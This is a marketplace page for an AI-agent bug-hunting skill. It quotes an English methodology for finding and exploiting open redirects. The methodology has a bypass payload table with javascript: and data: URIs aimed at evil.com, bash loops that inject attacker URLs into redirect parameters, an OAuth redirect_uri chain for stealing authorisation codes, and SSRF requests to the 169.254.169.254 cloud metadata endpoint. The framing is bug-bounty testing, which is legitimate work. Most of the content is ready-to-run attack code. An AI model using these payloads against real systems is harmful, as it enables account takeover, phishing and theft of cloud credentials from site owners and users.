사용 방법
- 설치 명령을 복사하고 자신의 에이전트 환경에 설치하기 전에 소스 패키지를 확인하세요.
- 필요한 도구, 인증 정보, 지원 환경은 원본 문서에서 확인하세요.
- 입력과 원하는 산출물을 설명하고 출처와 결과를 대조하세요.
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-open-redirect시작 전 확인
- 설치에는 모델 구독, API 한도, 파일 접근 권한이 포함되지 않습니다.
- 별점 수와 설치 수는 활동 지표이며 독립적인 품질·보안 검증이 아닙니다.
원본 Skill 문서
원본 저장소의 제목, 예시, 코드, 표, 링크, 이미지를 유지해 표시합니다.
HUNT-OPEN-REDIRECT — Open Redirect
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=Bypass Table
| Technique | Payload |
|---|---|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
bash
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txtPhase 2 — Basic Test
bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
donePhase 3 — Bypass Techniques
bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
donePhase 3b — DOM-based open redirect (client-side sink)
Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.
bash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;(PortSwigger: DOM-based open redirection.)
Phase 4 — OAuth Chain Test
bash
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"Phase 5 — Server-Side Redirect (SSRF escalation)
bash
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"Automation
bash
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}Chain Table
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
